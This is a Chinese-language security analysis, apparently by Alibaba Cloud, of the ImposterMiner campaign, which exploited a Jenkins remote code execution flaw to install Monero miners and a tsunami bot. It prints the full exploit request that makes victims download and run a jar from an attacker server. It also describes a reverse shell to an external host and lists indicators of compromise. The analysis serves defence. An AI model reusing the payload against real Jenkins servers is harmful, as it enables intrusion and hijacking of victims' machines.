阿里雲安全於近日捕獲到一塊兒使用Jenkins RCE漏洞進行攻擊的挖礦事件。除挖礦外,攻擊者還曾植入具備C&C功能的tsunami木馬,也預留了反彈shell的功能,給用戶帶來極大安全隱患。html
因爲攻擊者直接複製了Jenkins系列漏洞發現者(Orange.tw)在博客上公佈的poc,攻擊payload含有"Orange.tw"字樣,可能被誤認爲是漏洞發現者在進行測試,所以咱們將木馬命名爲ImposterMiner(冒充者)。web
本次事件具備兩個特色:一是ImposterMiner木馬開始爆發的時間距離Jenkins漏洞利用方法公開的時間極短,僅相隔2天;二是僅靠web漏洞直接入侵,不具備蠕蟲傳染性。這兩點與不久前利用Nexus Repository Manager 3新漏洞進行攻擊的watchbog挖礦木馬事件較爲類似。shell
本文將分析ImposterMiner挖礦木馬的結構,並就如何清理、預防相似挖礦木馬給出安全建議。安全
上圖展現了ImposterMiner挖礦木馬的感染流程。攻擊者首先使用以下payload攻擊jenkins服務bash
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】
複製代碼
該payload使用了CVE-2019-1003000這個jenkins RCE(遠程命令執行)漏洞,致使受害主機請求http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件,並在本地執行。這裏不難發現,攻擊者只是簡單修改了漏洞發現者博客上公開的代碼,於是直接以orange.tw(漏洞發現者的名字)和poc(Proof of Concept,可以證實漏洞存在的代碼,一般點到爲止不形成實際損害)做爲項目和模塊名,乍看之下,很是容易將這次攻擊誤認爲漏洞做者進行的無害的安全測試。服務器
poc-8.jar的代碼以下架構
其中請求的http://45.55.211.79/.cache/jenkins/n2.sh腳本,將會建立/tmp/.scr文件夾,並請求下載45.55.211.79/.cache/jenkins/s.tar.gz:工具
解壓s.tar.gz獲得以下左圖所示文件夾,並運行右圖中的go腳本,根據當前機器的架構,選擇運行i686或x86_64。post
i686和x86_64這兩個程序都是xmrig改寫而成的礦機,主要在nanopool.com礦池進行挖礦。它們還會將自身寫入crontab文件,每分鐘執行,進行持久化,此處再也不贅述。測試
此外,45.55.211.79服務器上存有多種歷史上曾經使用,或還沒有啓用的payload。
例如3月7日,阿里雲安全曾捕獲到攻擊者使用圖中文件夾poc/5/poc-5.jar中的payload,會致使被入侵主機下載解壓並運行http://45.55.211.79/.cache/jenkins/jks.tar.gz。該壓縮包中包括tsunami木馬變種,可以經過IRC接收下發指令並執行各類攻擊,以下圖所示。
又例如http://45.55.211.79/.cache/jenkins/jen.pl會使被入侵主機反彈shell到190.121.18.164:1090
以上這些惡意文件的最後修改日期說明ImposterMiner的做者依然在頻繁進行更新,同時還說明做者並不知足於在受害者主機上安靜挖礦,而是時刻準備着將受害主機用做ddos肉雞,或使用shell對主機進行任意操縱。
根據阿里雲安全監控到的入侵趨勢(以下圖),ImposterMiner挖礦木馬從漏洞公佈後僅兩天(2月21日)就開始利用其進行攻擊和挖礦,給用戶留下的修復時間窗口很是小。
攻擊數量於3月3日左右達到最高峯,而且至今仍保持着較高的水平。
ImposterMiner惡意挖礦木馬當前使用的錢包地址爲:42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
從礦池數據看出,該地址HashRate波動較大,最高時達到236KH/s,平均值在150KH/s左右,可能已有1~2萬臺服務器被入侵挖礦。該錢包地址累計收益爲169門羅幣左右,約合9120美圓。
除了上述地址外,攻擊者還使用過至少一個不一樣的錢包地址:4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。
Jenkins做爲最受歡迎的持續集成(CI)工具,使用量很大。上一次Jenkins遠程命令執行漏洞(CVE-2017-1000353)的曝光,致使了「史上最大規模挖礦事件之一」,攻擊者收益逾300萬美圓。
所以,Jenkins漏洞可能形成影響的範圍巨大。這也致使逐利的攻擊者對Jenkins虎視眈眈,一有新的漏洞便迅速加以利用;此次RCE漏洞從公開到開始被黑產利用僅花了2天,就是很好的證實。
針對這次安全事件,阿里雲安全給出如下預防和清理建議:
錢包地址:
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
礦池地址:
www.supportxmr.com
xmr.nanopool.org
惡意程序:
惡意url:
http://45.55.211.79/.cache/jenkins/
http://45.55.211.79/tw/orange/poc/
惡意主機:
190.121.18.164
Reference
blog.orange.tw/2019/02/abu…
research.checkpoint.com/jenkins-min…
本文爲雲棲社區原創內容,未經容許不得轉載。